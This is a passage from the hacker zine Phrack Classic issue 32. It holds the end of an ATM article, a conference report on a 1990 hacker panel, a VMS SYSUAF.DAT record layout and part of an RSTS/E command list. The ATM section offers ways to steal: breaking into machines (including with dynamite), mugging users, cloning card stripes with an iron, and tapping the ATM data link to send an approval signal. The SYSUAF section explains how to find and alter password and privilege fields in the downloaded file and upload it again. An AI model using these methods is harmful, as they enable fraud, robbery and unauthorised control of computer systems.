"LRC" = Longitude Redundancy Check (end of track character).

Track 2: ";" = Beginning of data character "12345675" = Account number of the cardholder. "01/91" = Month/Year the card expires. "^" = Data‑field seperator.

"1234" = Process Identification Number (The cardholders 'password', I think... or it could be a number to verify the the transaction between the ATM and the Main Computer). "^" = Data‑field seperator

"(dscrmn. data)" = Discriminate Data. Not much is known exactly what is stored here. Perhaps Bank Identification data or bank account type (savings, checking?) ? ";" = End of data character.

"LRC" = Longitude Redundancy Check.

Track 3: ";" = Beginning of data character. "12345675" = Account number of the cardholder. "^" = Data‑field seperator.

"01/91" = Month/Year the card expires. "^" = Data‑field seperator.

"5" = The crypting‑digit. When the transaction request is sent to the main computer, it is encrypted. This digit tells which encryption‑key is used. "(dscrmn. data)" = A duplicate of the discriminate data stored on Track 2.

";" = End of data character.

"LRC" = Longitude Redundancy Check.

When the card is being processed the ATM tries to match the account number, expiration date and name stored on each track. The reason they duplicate data is for verification purposes. But, notice that the duplicate data is stored on different tracks, each having different recording densities. Once the information on the tracks are confirmed to match, the ATM compares them to the embossed information on the front‑side. If all of the information matches then the transaction will proceed. If it doesn't match, then the card is considered to be damaged and the ATM will keep the card. It will give the cardholder a piece of paper instructing the user to notify the bank who issued his ATM‑card so he can receive a replacement card in the mail (this process takes about 3 weeks).

Now that you know how the ATM‑system is designed and what information is kept where on the card, what "security defects" does this system contain ? I will outline 4 methods of attacking this system that have been tried (not by me!).

1) Vandalization: If you want, you can break‑in to the ATM. However, most ATM's contain 'sensor' devices which sound an alarm when this is tried. Therefore, if you're going to try this method I do not suggest using a hammer and chisel on the ATM because it will take 1/2 an hour to get the machine open and by that time the police will be there. You could try a much faster way, dynamite; but that might scatter the money all‑over, making it hard to collect. Also, the bottom‑half is where most of the money is stored (unless you happen to choose a machine that has issued all of its withdrawl‑cash) so you'll want to break into the bottom‑half of the ATM.

In relation to this, you could wait outside the ATM for a valid‑user to complete his withdrawl‑transaction and mug him. As far as I know, the bank holds no responsibilty for placing the ATM in a 'secure' enviroment. However, usually they will have lights nearby and placed in 'reasonable' places where people need money (example: Grocery store) and where the chance of mugging is slim.

2) Physical Penetration: There are several ways of doing this. If you have a stolen card, you could randomly try guessing his account‑password. But, I feel this is a primitive method. If you try too many attempts at guessing the 'password', the ATM will return the card to you. But, your attempts *might* be recorded in the central computer; allowing the bank to decide whether to cancel that card... However, this has not been verified by me. If you do get a cash‑card, you can make counterfeit‑cards.

A) Counterfiet ATM‑cards: The same method for producing counterfiet credit cards applies to ATM‑cards. If you have a valid ATM‑card you can 'clone' it simply by embossing a blank‑card with the same information. Copying the magnetic strip is also easy. To do this, you place a blank strip of the magnetic tape on top of the valid magnetic strip. Then, using an iron on low‑heat, gently rub the iron across the two strips for a few seconds. Lastly, peel the new strip apart from the valid one and you've got a copy of all the data from the valid ATM‑card.

B) Also, I've heard a case where some guys had a machine that could read and write to the magnetic strips (probably they were employees of a company that produces the ATM‑cards). Using this machine, they were able to create and change existing data on ATM‑cards (such as the expiration date so they could keep using the same card over a long period of time).

In relation to this there are other devices available that can read and write to magnetic strips. Using your own microcomputer, you can buy a device that allows you to read and write to these magnetic strips. It looks similar to a disk drive. If you're interested in exploring this method, I'll suggest that you contact the following company:

American Magnetics Corporation 740 Watsoncenter Road

Carson, California 90745

USA

213/775‑8651

213/834‑0685 FAX

910‑345‑6258 TWX

C) WARNING: During each transaction attempted on an ATM a photo of the person requesting the transaction is taken. How long this film is stored is unknown, but it probably is different for each bank (unless there is a federal regulation regarding this). Also, it is possible that this is not done at all ATMs.

3) "Insider" Theft: The above case also crosses over into this section. The biggest 'security leaks' in any company are its employees. This is also the easiest way to steal money from ATMs. The man who collects the deposits from the machine and inserts cash for withdrawls has the easiest and most open access to these machines. I was told that this person can easily steal money from ATMs and not be detected. Another person with access to these machines is the technician. The technician who fixes ATMs is the most‑knowledgeable person about ATMs within the bank, therefore he should be a trustworthy guy and receive a 'comfortable' salary.. otherwise he'll begin to collect 'retirement benefits' from the ATM and this may go undetected.

However, I have heard of some embezzlement‑cases involving ATMs, so I think it's not as easy as it seems. It's only common sense that a bank would account for every dollar of every transaction. Whether the accounting is done inside the ATM or the main computer doesn't make a difference... some form of accounting is *probably* done.

4) Data‑link Intercept: This method has been very successful. What you do is 'tap' into the wires that connect the ATM to the Main computer. By doing this you can intercept and send signals to the ATM. However, some 'inside information' is needed because the transmission is encrypted (refer to the Cryptography Digit stored on the magnetic strip). But, I think you don't need to know *everything* being transferred. You should need to know when to send the 'approval' signal to the ATM telling it to dispense its' cash. I read a case (it may be in Phrack World News; 1985?) where some guys netted $600,000 from various ATMs using this method. This seems to be one of the better, and more ingenious methods of stealing from these machines.

The information in this file should be 'adequate' to introduce you to how ATMs work. How did I get this information? I went into a bank and inquired about the computer‑technology of ATMs. The man who was responsible for the ATMs was a bureaucrat and actually knew very little about the 'guts' of ATMs. Luckily the ATM‑technician was there that day and I agreed to buy him dinner later that evening. (Please refer to: "Insider" Theft and the principle of Company‑Loyalty). During the dinner at "Toppers" (a neat 1950's Burgers/Milkshake/Beer restaurant) he provided me with Operation and Repair manuals for the ATMs. I feel this information is well‑worth the $3.82 dinner and will be of some value to its' readers. Some good information was screened‑out due to its 'delicate nature', but the information I've provided has been confirmed.

+‑‑‑‑‑‑‑‑‑+

] CREDITS ]

+‑‑‑‑‑‑‑‑‑+

The Mentor (Phrack #8, File #7; "Fun with Automatic Tellers") Deserted Surfer

Hyudori

Lex Luthor

Please distribute this file in its complete form.

A Trip to the NCSC

==Phrack Classic==

Volume Three, Issue 32, File #7 of 12

13th Annual National Computer Security Conference October 1‑4, 1990

Omni Shoreham Hotel

Washington, D.C.

A "Knight Lightning" Perspective

by Craig M. Neidorf

Dr. Dorothy Denning first hinted at inviting me to take part on her panel "Hackers: Who Are They?" in May 1990 when we first came into contact while preparing for my trial. At the time I did not feel that it was a very good idea since no one knew what would happen to me over the next few months. At the conclusion of my trial I agreed to participate and surprisingly, my attorney, Sheldon Zenner (of Katten, Muchin, & Zavis), accepted an invitation to speak as well.

A few weeks later there was some dissension to the idea of having me appear at the conference from some professionals in the field of computer security. They felt that my presence at such a conference undermined what they stood for and would be observed by computer "hackers" as a reward of sorts for my notoriety in the hacker community. Fortunately Dr. Denning stuck to her personal values and did not exclude me from speaking.

Unlike Gordon Meyer, I was unable to attend Dr. Denning's presentation "Concerning Hackers Who Break Into Computer Systems" and the ethics sessions, although I was informed upon my arrival of the intense interest from the conference participants and the reactions to my now very well known article announcing the "Phoenix Project."

Not wishing to miss any more class than absolutely necessary, I arrived in Washington D.C. late in the day on Wednesday, October 4th. By some bizarre coincidence I ended up on the same flight with Sheldon Zenner.

I had attended similar conventions before such as the Zeta Beta Tau National Convention in Baltimore the previous year, but there was something different about this one. I suppose considering what I have been through it was only natural for me to be a little uneasy when surrounded by computer security professionals, but oddly enough this feeling soon passed as I began to encounter friends both old and new.

Zenner and I met up with Dorothy and Peter Denning and soon after I met Terry Gross, an attorney hired by the Electronic Frontier Foundation who had helped with my case in reference to the First Amendment issues. Emmanuel Goldstein, editor of 2600 Magazine and probably the chief person responsible for spreading the news and concern about my indictment last Spring, and Frank Drake, editor of W.O.R.M. showed up. I had met Drake once before. Finally I ran into Gordon Meyer.

So for a while we all exchanged stories about different events surrounding our lives and how things had changed over the years only to be interrupted once by a odd gentleman from Germany who inquired if we were members of the Chaos Computer Club. At the banquet that evening, I was introduced to Peter Neumann (who among many other things is the moderator of the Internet Digest known as "RISKS") and Marc Rotenberg (Computer Professionals for Social Responsibility).

Because of the great interest in the ethics sessions and comments I had heard from people who had attended, I felt a strange irony come into play. I've hosted and attended numerous "hacker" conventions over the years, the most notable being "SummerCon". At these conventions one of the main time consuming activities has always been to play detective and attempt to solve the mystery of which one of the guests or other people at the hotel were there to spy on us (whether they were government agents or some other form of security personnel).

So where at SummerCon the youthful hackers were all racing around looking for the "feds," at the NCSC I wondered if the security professionals were reacting in an inverse capacity... Who Are The Hackers? Despite this attitude or maybe because of it, I and the other panelists, wore our nametags proudly with a feeling of excitement surrounding us.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

October 4, 1990

Dorothy Denning had gathered the speakers for an early morning brunch and I finally got a chance to meet Katie Hafner in person. The panelists discussed some possibilities of discussion questions to start off the presentation and before I knew it, it was time to meet the public.

As we gathered in the front of the conference room, I was dismayed to find that the people in charge of the setting up the nameboards (that would sit in front of each panelist) had attended the Cook school of spelling and labeled me as "Neirdorf." Zenner thought this was hysterical. Luckily they were able to correct the error before we began.

Hackers: Who Are They?

Dr. Denning started the presentation by briefly introducing each panelist and asking them a couple of questions.

Katie Hafner disputed the notion that her work has caused a glorification of hacking because of the severe hardships the people she interviewed had to endure. I found myself sympathizing with her as I knew what it was like to be in their positions. Many people commented later that her defense of Mitnick seemed a little insincere as he had indeed committed some serious acts. Not knowing all of the details surrounding Mitnick's case and not relying on the general newsmedia as a basis for opinion I withheld any sort of judgment.

Emmanuel Goldstein and Frank Drake appeared to take on the mantle of being the spokespersons for the hackers, although I'm unsure if they would agree with this characterization. Drake's main point of view dealt with the idea that young hackers seek to be able to use resources that they are otherwise excluded from. He claimed to once have been a system intruder, but now that he is in college and has ample computing resources available to him, he no longer sees a need to "hack."

Goldstein on the other hand sought to justify hacking as being beneficial to society because the hackers are finding security holes and alerting security to fix these problems before something catastrophic occurs.

Gordon Meyer tried to explain the hacker mind‑set and how the average hackers does not see using corporate resources as having a real financial burden to today's companies. Some people misunderstood his remarks to be speaking from a factual position and took offense, stating that the costs are great indeed. He also explained the differences between Phrack and the Computer Underground Digest. Most notable is that CuD does not print tutorials about computer systems.

Sheldon Zenner focused on the freedom of the speech and press issues. He also spoke about technical details of the U.S. v. Neidorf case and the court rulings that resulted from it. One major point of interest was his quite reasonable belief that the courts will soon be holding companies financially liable for damages that may occur because of illegal intrusion into their systems. This was not to suggest that a criminal defense strategy could be that a company did not do enough to keep an intruder out, but instead that the company could be held civilly liable by outside parties.

Zenner and Denning alike discussed the nature of Phrack's articles. They found that the articles appearing in Phrack contained the same types of material found publicly in other computer and security magazines, but with one significant difference. The tone of the articles. An article named "How to Hack Unix" in Phrack usually contained very similar information to an article you might see in Communications of the ACM only to be named "Securing Unix Systems." But the differences were more extreme than just the titles. Some articles in Phrack seemed to suggest exploiting security holes while the Communications of the ACM concentrated more on fixing the problem. The information in both articles would be comparable, but the audiences reading and writing these articles were often very different.

I explained the concept and operation of Phrack and wandered into a discussion about lack of privacy concerning electronic mail on the Internet from government officials, system managers, and possibly even by hackers. I went on to remark that the security professionals were missing the point and the problem. The college and high‑school students while perhaps doing some exploration and causing some slight disturbances are not the place to be focusing their efforts. The real danger comes from career criminals and company insiders who know the systems very well from being a part of it. These people are the source of computer crime in this country and are the ones who need to be dealt with. Catching a teenage hacker may be an easier task, but ultimately will change nothing. To this point I agreed that a hacker gaining entry and exposing holes on computer systems may be a service to some degree, but unlike Goldstein, I could not maintain that such activity should bring prosecutorial immunity to the hacker. This is a matter of discretion for security personnel and prosecutors to take into consideration. I hope they do.

To a large degree I was rather silent on stage. Perhaps because I was cut off more than once or maybe even a little stagefright, but largely because many of the questions posed by the audience were wrong on their face for me to answer. I was not going to stand and defend hacking for its own sake nor was I there to explain the activities of every hacker in existence.

So I let Goldstein and Drake handle questions geared to be answered by a system intruder and I primarily only spoke out concerning the First Amendment and Phrack distribution. In one instance a man upset both by Drake's comments about how the hackers just want to use resources they can't get elsewhere and by Goldstein's presentation of the Operation Sun‑Devil raids and the attack on "Zod" in New York spoke up and accused us of being viciously one sided.

He said that none of us (and he singled me out specifically) look to be age 14 (he said he could believe I was 18) and that "our" statement that its ok for hackers to gain access to systems simply because they lacked the resources elsewhere meant it was ok for kids to steal money to buy drugs.

I responded by asking him if he was suggesting that if these "kids" were rich and did not steal the money, it would be ok to purchase drugs? I was sure that it was just a bad analogy so I changed the topic afterwards. He was right to a certain extent, all of the hackers are not age 14 or even in highschool or college, but is this really all that important of a distinction?

The activities of the Secret Service agents and other law enforcement officials in Operation Sun‑Devil and other investigations have been overwhelming and very careless. True this is just their standard way of doing business and they may not have even singled out the hackers as a group to focus excess zeal, but recognizing that the hackers are in a worst case scenario "white‑collar offenders," shouldn't they alter their technique? Something that might be important to make clear is that in truth my indictment and the indictments on members of the Legion of Doom in Atlanta had absolutely nothing to do with Operation Sun‑Devil despite the general media creation.

Another interesting point that was brought out at the convention was that there was so much activity and the Secret Service kept so busy in the state of Arizona (possibly by some state official) concerning the hacker "problem" that perhaps this is the reason the government did not catch on to the great Savings & Loan multi‑Billion dollar loss.

One gentleman spoke about his son being in a hospital where all his treatments were being run by computer. He added that a system intruder might quite by accident disrupt the system inadvertently endangering his son's life. Isn't this bad? Obviously yes it is bad, but what was worse is that a critical hospital computer system would be hooked up to a phoneline anyway. The main reason for treatment in a hospital is so that the doctors are *there* to monitor and assist patients. Could you imagine a doctor dialing in from home with a modem to make his rounds?

There was some discussion about an editor's responsibility to inform corporations if a hacker were to drop off material that he/she had breached their security. I was not entirely in opposition to the idea, but the way I would propose to do it was probably in the pages of a news article. This may seem a little roundabout, but when you stop and consider all of the private security consultants out there, they do not run around providing information to corporations for free. They charge enormous fees for their services. There are some organizations that do perform services for free (CERT comes to mind), but that is the reason they were established and they receive funding from the government which allows them to be more generous.

It is my belief that if a hacker were to give me some tips about security holes and I in turn reported this information to a potential victim corporation, the corporation would be more concerned with how and from whom I got the information than with fixing the problem.

One of the government's expert witnesses from U.S. v. Neidorf attended this session and he prodded Zenner and I with questions about the First Amendment that were not made clear from the trial. Zenner did an excellent job of clarifying the issues and presenting the truth where this Bellcore employee sought to show us in a poor light.

During the commentary on the First Amendment, Hafner, Zenner, and I discussed a July 22, 1988 article containing a Pacific Bell telephone document copied by a hacker and sent to John Markoff that appeared on the front page of the New York Times. A member of the audience said that this was ok, but the Phrack article containing the E911 material was not because Phrack was only sent to hackers. Zenner went on to explain that this was far from true since private security, government employees, legal scholars, reporters, and telecom security personnel all received Phrack without discrimination. There really is a lot that both the hackers and security professionals have to learn about each other.

It began to get late and we were forced to end our session. I guess what surprised me the most were all of the people that stayed behind to speak with us. There were representatives from NASA, U.S. Sprint, Ford Aerospace, the Department of Defense, a United States Army Lt. Colonel who all thanked us for coming to speak. It was a truly unique experience in that a year ago I would have presumed these people to be fighting against me and now it seems that they are reasonable, decent people, with an interest in trying to learn and help end the problems. I also met Mrs. Gail Meyer for the first time in person as well.

I was swamped with people asking me how they could get Phrack and for the most part I referred them to Gordon Meyer and CuD (and the CuD ftp). Just before we went to lunch I met Donn Parker and Art Brodsky, an editor from Communications Daily. So many interesting people to speak with and so little time. I spent a couple hours at the National Gallery of Art with Emmanuel Goldstein, flew back to St. Louis, and returned to school.

It was definitely an enLightening experience.

++++++++++++++++++++++++++++++

A very special thank you goes to Dorothy Denning, a dear friend who made it possible for me to attend the conference.

:Craig M. Neidorf a/k/a Knight Lightning

C483307 @ UMCVMB.MISSOURI.EDU

C483307 @ UMCVMB.BITNET

Inside the SYSUAF.DAT File

==Phrack Classic==

Volume Three, Issue 32, File #8 of 12

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Inside the SYSUAF.DAT file of |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Digital Equipment Corporation's VMS Operating System |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑= by =

‑‑‑‑‑:> Pain Hertz <:‑‑‑

Overview

~~~~~~~

In this file, I will explain what the System User Authorization File is, what information it contains, what the logical and physical characteristics of the file are, and how one can manipulate it to reveal and/or modify its contents.

Background

~~~~~~~~

The Virtual Memory System (VMS) Operating System's System User Authorization File (SYSUAF) contains the information that determines a given user's username, password(s), security priviledges, as well as many other similar data which either allow or disallow the user to have the system perform certain tasks.

Characteristics

~~~~~~~~~~~~~~

The SYSUAF.DAT file (UAF) is usually located on the system on the device pointed to by the logical SYS$COMMON, and under the [SYSEXE] subdirectory. However, if the logical SYSUAF exists, it will point to the location and name of the UAF.

The UAF is a binary, indexed data file. It's indexed on 4 keys: username, UIC, extended user identifier, and owner identifier. Using the VMS ANALYZE utility reveals the following about the UAF:

IDENT "01‑JAN‑1990 13:13:13 VAX/VMS ANALYZE/RMS_FILE Utility"

SYSTEM

SOURCE VAX/VMS

FILE

ALLOCATION 24

BEST_TRY_CONTIGUOUS yes

BUCKET_SIZE 3

CLUSTER_SIZE 3

CONTIGUOUS no

EXTENSION 3

FILE_MONITORING no

GLOBAL_BUFFER_COUNT 0

NAME "SYS$COMMON:[SYSEXE]SYSUAF.DAT;1" ORGANIZATION indexed

OWNER [SYSTEM]

PROTECTION (system:RWED, owner:RWED, group:RWED, world:RE)

RECORD

BLOCK_SPAN yes

CARRIAGE_CONTROL none

FORMAT variable

SIZE 1412

AREA 0

ALLOCATION 9

BEST_TRY_CONTIGUOUS yes

BUCKET_SIZE 3

EXTENSION 3

AREA 1

ALLOCATION 3

BUCKET_SIZE 3

EXTENSION 3

AREA 2

ALLOCATION 12

BUCKET_SIZE 2

EXTENSION 12

KEY 0

CHANGES no

DATA_KEY_COMPRESSION yes DATA_RECORD_COMPRESSION yes

DATA_AREA 0

DATA_FILL 100

DUPLICATES no

INDEX_AREA 1

INDEX_COMPRESSION yes

INDEX_FILL 100

LEVEL1_INDEX_AREA 1

NAME "Username"

NULL_KEY no

PROLOG 3

SEG0_LENGTH 32

SEG0_POSITION 4

TYPE string

KEY 1

CHANGES yes

DATA_KEY_COMPRESSION no

DATA_AREA 2

DATA_FILL 100

DUPLICATES yes

INDEX_AREA 2

INDEX_COMPRESSION no

INDEX_FILL 100

LEVEL1_INDEX_AREA 2

NAME "UIC"

NULL_KEY no

SEG0_LENGTH 4

SEG0_POSITION 36

TYPE bin4

KEY 2

CHANGES yes

DATA_KEY_COMPRESSION no

DATA_AREA 2

DATA_FILL 100

DUPLICATES yes

INDEX_AREA 2

INDEX_COMPRESSION no

INDEX_FILL 100

LEVEL1_INDEX_AREA 2

NAME "Extended User Identifier" NULL_KEY no

SEG0_LENGTH 8

SEG0_POSITION 36

TYPE bin8

KEY 3

CHANGES yes

DATA_KEY_COMPRESSION no

DATA_AREA 2

DATA_FILL 100

DUPLICATES yes

INDEX_AREA 2

INDEX_COMPRESSION no

INDEX_FILL 100

LEVEL1_INDEX_AREA 2

NAME "Owner Identifier" NULL_KEY yes

NULL_VALUE 0

SEG0_LENGTH 8

SEG0_POSITION 44

TYPE bin8

ANALYSIS_OF_AREA 0

RECLAIMED_SPACE 0

ANALYSIS_OF_AREA 1

RECLAIMED_SPACE 0

ANALYSIS_OF_AREA 2

RECLAIMED_SPACE 0

ANALYSIS_OF_KEY 0

DATA_FILL 71

DATA_KEY_COMPRESSION 75

DATA_RECORD_COMPRESSION 67

DATA_RECORD_COUNT 5

DATA_SPACE_OCCUPIED 3

DEPTH 1

INDEX_COMPRESSION 85

INDEX_FILL 1

INDEX_SPACE_OCCUPIED 3

LEVEL1_RECORD_COUNT 1

MEAN_DATA_LENGTH 644

MEAN_INDEX_LENGTH 34

ANALYSIS_OF_KEY 1

DATA_FILL 7

DATA_KEY_COMPRESSION 0

DATA_RECORD_COUNT 4

DATA_SPACE_OCCUPIED 2

DEPTH 1

DUPLICATES_PER_SIDR 0

INDEX_COMPRESSION 0

INDEX_FILL 2

INDEX_SPACE_OCCUPIED 2

LEVEL1_RECORD_COUNT 1

MEAN_DATA_LENGTH 15

MEAN_INDEX_LENGTH 6

ANALYSIS_OF_KEY 2

DATA_FILL 8

DATA_KEY_COMPRESSION 0

DATA_RECORD_COUNT 4

DATA_SPACE_OCCUPIED 2

DEPTH 1

DUPLICATES_PER_SIDR 0

INDEX_COMPRESSION 0

INDEX_FILL 2

INDEX_SPACE_OCCUPIED 2

LEVEL1_RECORD_COUNT 1

MEAN_DATA_LENGTH 19

MEAN_INDEX_LENGTH 10

ANALYSIS_OF_KEY 3

! This index is uninitialized ‑ there are no records.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Examination

~~~~~~~~~

Generally, an interactive user would use the AUTHORIZE utility to modify or examine the UAF, while a program would use the $GETUAI system services (get user authorization information service) to examine the file. The $GETUAI system services reference provide an excellent description of what fields the UAF contains, and how many bytes are used within the file to store each of those fields. However, it may not be within your realm of skills to program using system services. It would probably be considerably easier to use a sector editor/browser to locate values within the UAF. You could use a sector editor/browser online (such as VFE.EXE), or you you might choose to download the UAF and use an editor/browse for your personal computer. Regardless of which method you choose, you will have to know the offset of each field within the user authorization file. This is what I have provided for you.

The contents of the UAF under VMS release 5.3‑1 are as follows:

Offset Description Length

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 Record Header 4

4 Username (loginid) 32

36 Member UIC ‑ Mem UIC decimal 1 = 0100 2 Mem UIC decimal 10 = 0A00 Mem UIC decimal 256 = FF01

38 Group UIC ‑ Same as format as member UIC 2

Note: UICs as displayed in the VMS environment are OCTAL. A UIC of [010,001] would be saved as '01000800' in bytes 36‑39 (offset).

40 Nulls 12

52 Account name 32

84 1 byte ‑ value = length of owner 1

85 Owner 31

116 1 byte ‑ value = length of device 1

117 Device (default disk device) 31

148 1 byte ‑ length of default (SYS$LOGIN) directory 1 149 Default (SYS$LOGIN) directory name 63 212 1 byte ‑ length of default login command file 1

213 Default login command file 63

276 1 byte ‑ length of default CLI 1 277 Default command language interpeter 31

Note: CLI is assumed to be in SYS$SYSTEM directory and have an .EXE extension.

308 1 byte ‑ length of user defined CLI tables 1

309 User defined CLI table name 31

340 Encrypted primary password 8

348 Encrypted secondary password 8

356 Number of login fails 2

358 Password encryption salt 2

360 Encryption algorithm code byte ‑ primary password 1 361 Encryption algorithm code byte ‑ secondary password 1

362 Password minimum length 1

363 Filler (1 byte) 1

364 Account expiration date 8

372 Password lifetime 8

380 Password change date/time ‑ primary password 8 388 Password change date/time ‑ secondary password 8 396 Last interactive login date/time 8 404 Last non‑interactive login date/time 8

412 Authorize priviledges 8

420 Default priviledges 8

428 Filler (40 bytes) 40

468 Login Flags bits as follows: 4

7 6 5 4 3 2 1 0

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | | | | | | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Byte Offset 468:

Bit 0 ‑ User can not use CTRL‑Y

Bit 1 ‑ User is restricted to default command interpeter

Bit 2 ‑ SET PASSWORD command is disabled Bit 3 ‑ Prevent user from changing any defaults at login

Bit 4 ‑ User account is disabled

Bit 5 ‑ User will not receive the login welcome message

Bit 6 ‑ Announcement of new mail is suppressed Bit 7 ‑ Mail delivery to user is disabled

Byte Offset 469:

Bit 0 ‑ User is required to use generated passwords

Bit 1 ‑ Primary password is expired Bit 2 ‑ Secondary password is expired Bit 3 ‑ All actions are audited

Bit 4 ‑ User will not receive last login messages

Bit 5 ‑ User can not reconnect to existing processes

Bit 6 ‑ User can only login to terminals defined by the automatic login facility (ALF)

Bit 7 ‑ User is required to change expired passwords

Byte Offset 470:

Bit 0 ‑ User is restricted to captive account Bit 1 ‑ Prevent user from executing RUN, MCR commands, or foreign commands at the DCL level

Bits 2‑7 ‑ Reserved for future use

Byte Offset 471:

Bits 0‑7 ‑ Reserved for future use

Note On Access Bytes:

Each bit set represents a 1‑hour period, from bit 0 as midnight to 1 a.m. to bit 23 as 11 p.m. to midnight.

472 Network access bytes ‑ primary days 3 475 Network access bytes ‑ seconday days 3 478 Batch access bytes ‑ primary days 3 481 Batch access bytes ‑ seconday days 3 484 Local access bytes ‑ primary days 3 487 Local access bytes ‑ seconday days 3 490 Dialup access bytes ‑ primary days 3 493 Dialup access bytes ‑ secondary days 3 496 Remote access bytes ‑ primary days 3 499 Remote access bytes ‑ seconday days 3

502 Filler (12 bytes) 12

514 Prime days 1

Bits 0‑7 toggled on represents primedays, respective to Mon, Tue, ..., Sun.

515 Filler (1 byte) 1

516 Default base priority 1

517 Maximum job queue priority 1

518 Active process limit 2

520 Max. number of interactive, detached, and batch jobs 2

524 Detached process limit 2

526 Subprocess creation limit 2

528 Buffered I/O count 2

530 Timer queue entry limit 2

532 AST queue limit 2

534 Lock queue limit 2

536 Open file limit 4

538 Shared file limit 2

540 Working set quota 4

548 Working set extent 4

552 Paging file quota 4

556 Maximum CPU time limit (in 10‑milliseconds) 4

560 Buffered I/O byte limit 4

564 Paged buffer I/O byte count limit 4 568 Initial byte quota (jobwide logical name table uses) 4

572 Filler (72 bytes) 72

Dates and times are stored as 8 bytes representing the number of seconds elapsed since November 17, 1858, 12:00:00 a.m.

Earlier versions of the VMS UAF will contain much of the same data, which should be at the same offset as listed above.

Should you decide to attempt to modify the SYSUAF.DAT file, keep in mind that if you download the file, when you upload it, it will not be the same as it was before; it will not be an indexed file. You *might* be able to create an .FDL file (using ANALYZE/RMS/FDL SYSUAF.DAT), and use that .FDL file to convert it back to an indexed file

(with CONVERT/FDL=SYSUAF.FDL UPLOAD_UAF.DAT NEW_UAF.DAT), but chances that it will contain the proper indexing and file attributes are slim. Remember when altering the SYSUAF.DAT file to keep a copy around (on the system) in case you need to repair the damage.

‑PHz

Feel free to make any comments or corrections to the following address:

[phz@judy.indstate.edu]

RSTS

==Phrack Classic==

Volume Three, Issue 32, File #9 of 12

/‑?!?!?!?!?!?!

/EZ?! ?!AH\ /APE?! ?!ZAP\ /AZHP?! RSTS/E ?!EZHA\ / ZEAH?! ?!PEAZ \ [*>RSTS PZA?! by ?!HPZ LIVES<*] \ PHEZ?! ?!AHEE / \HAPE?! Crimson Death ?!ZAPP/ \ZHP?! ?!EZH/ \AH?! ?!PE/

\‑?!?!?!?!?!?!

Ok, ok... Just what you wanted... a file of RSTS!!! Hah... Well.. One would be suprised on how many RSTS systems are still around on variuos X.25 networks, not to mention they are soooo much fun! Here is a little list of some various commands that is good to keep lying around just to use as a reference of just for you nostaglic type people like me. So enjoy, and if you were never involved in hacking when RSTS was popular, you really missed something.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

*ALLOCATE

The ALLOCATE command reserves a physical device for your use during the current session and optionally establishes a logical name for the device. Once a device has been allocated, other users cannot access the device until you specifically deallocate it or log out. You can allocate a device only when it is not allocated by another job.

Format

ALLOCATE device‑name[:] [logical‑name[:]]

Prompts

Device: device‑name

See also: ASSIGN, DEALLOCATE

*APPEND

The APPEND command adds the contents of one or more files to the end of the file you specify. APPEND is similar in syntax and function to the COPY command.

Format

APPEND [node::]input‑file‑spec[,...] [node::]output‑file‑spec

Command Qualifiers Defaults

/[NO]LOG /LOG

/[NO]QUERY /NOQUERY

Prompts

From: input‑file‑spec[,...]

To: output‑file‑spec

See also: COPY

*ASSIGN

The ASSIGN command lets you relate a logical name to a directory or to a physical device. The names you ASSIGN stay in effect until you log out, or log into another account or until you DEASSIGN the name.

Format

ASSIGN device‑name:[[ppn]] logical‑name[:]

Prompts

Device: device‑name:[[ppn]]

Logical name: logical‑name[:]

*BASIC

The BASIC command invokes the BASIC‑PLUS or BASIC‑PLUS‑2 programming environment, depending on the qualifiers you use and the system's default. It also prepares RSTS/E for the development of BASIC programs.

Format

BASIC

Command Qualifiers Comments

/BP2 Invokes the BASIC‑PLUS‑2

programming environment

/BPLUS Invokes the BASIC‑PLUS

programming environment

All subsequent commands are interpreted as BASIC programming commands, until you type the following command to return to the DCL keyboard monitor: DCL <ret>

*CCL

Format

CCL ccl‑command

The Concise Command Language (CCL) allows you to enter a command name rather than type RUN and a program name.

You can type CCL commands directly after DCL's dollar prompt ($). The format of the CCL command is defined by your system manager. For details about the use of a CCL command, refer to the documentation written for your site.

When you are using the DCL Keyboard Monitor, DCL commands take precedence over CCL commands. If your system manager gives a CCL command the same name as a DCL command, you must type the prefix "CCL" a space, and the CCL command itself.

For example, a CCL command name "DIRECTORY" and the DCL command "DIRECTORY" may produce different results depending on how the CCL command works at your site. To use the CCL version, type:

$ CCL DIRECTORY <ret>

*COBOL

The COBOL command compiles a COBOL‑81 program. (Only one source file at a time can be compiled with COBOL‑81.)

Format:

COBOL file‑spec

Qualifiers Defaults

/[NO]ANSI_FORMAT

/[NO]CHECK

/[NO]CROSS_REFERENCE

/LIST[=listfile] /NOLIST

/NOLIST

/[NO]MAP

/NAMES=aa /NAMES=SC

/OBJECT[=objfile] /OBJECT

/NOOBJECT

Prompts

File: file‑spec

See also: LINK

*COPY

The COPY command duplicates one or more existing files.

You can use COPY to:

‑ copy one file to another file

‑ merge (concatenate) more than one file into a single file

‑ copy a group of files to another group of files

Format

COPY [node::]input‑file‑spec[,...] [node::]output‑file‑spec

Qualifiers Defaults

/ALLOCATION=n

/[NO]CONTIGUOUS (N)

/[NO]LOG (N) /LOG

/[NO]OVERLAY /NOOVERLAY

/PROTECTION=n

/[NO]QUERY (N) /NOQUERY

/[NO]REPLACE (N) /NOREPLACE

(N) denotes a qualifier that you can use in network operations.

Prompts

From: input‑file‑spec[,...]

To: output‑file‑spec

*CREATE

The CREATE command allows you to enter text and save it as a file.

Format

CREATE file‑spec

Prompts

File: file‑spec

Once you have entered the file‑spec, press RETURN and you may start typing text. Press <CTRL/Z> when you have finished entering text.

Command Qualifiers

/ALLOCATION=n

/[NO]CONTIGUOUS

